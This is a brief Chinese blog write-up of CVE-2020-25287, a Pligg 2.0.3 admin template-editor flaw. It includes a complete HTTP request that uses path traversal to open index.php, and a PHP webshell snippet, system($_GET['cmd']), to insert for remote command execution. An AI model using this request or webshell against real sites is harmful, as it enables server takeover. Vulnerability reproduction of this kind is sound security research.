Pligg远程命令执行(CVE-2020-25287)

漏洞描述

the_file由于无需检查扩展名,我们可以通过模板编辑器菜单使用参数来访问任何文件,然后将webshell创建到现有的php文件中

影响版本

Pligg2.0.3版本

漏洞利用

image-20200917174643966

转到/admin/admin_editor.php拦截请求并将路径更改为文件。

例如得到index.php申请:image-20200917174701957

POST /admin/admin_editor.php HTTP/1.1
Host: kliqqi
Content-Length: 33
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://kliqqi
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://kliqqi/admin/admin_editor.php
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: panelState=CollapseManage%7CCollapseSettings%7CCollapseTemplate; PHPSESSID=lfkc3gtrv5o1golmt5md3; mnm_user=Admin; mnm_key=QWRtaW46MjI0R2dEVTAxZncxZzpl
Connection: close

the_file=..%2Findex.php&open=Open

模版编辑器功能可以编辑任意文件内容,在文件中加入恶意代码导致代码执行。

image-20200917174734515

比如

  if($_GET['cmd']){
system($_GET['cmd']);
}

访问website.fr?cmd=dir

image-20200917174826813

Author

ol4three

Posted on

2020-09-17

Updated on

2021-03-03

Licensed under


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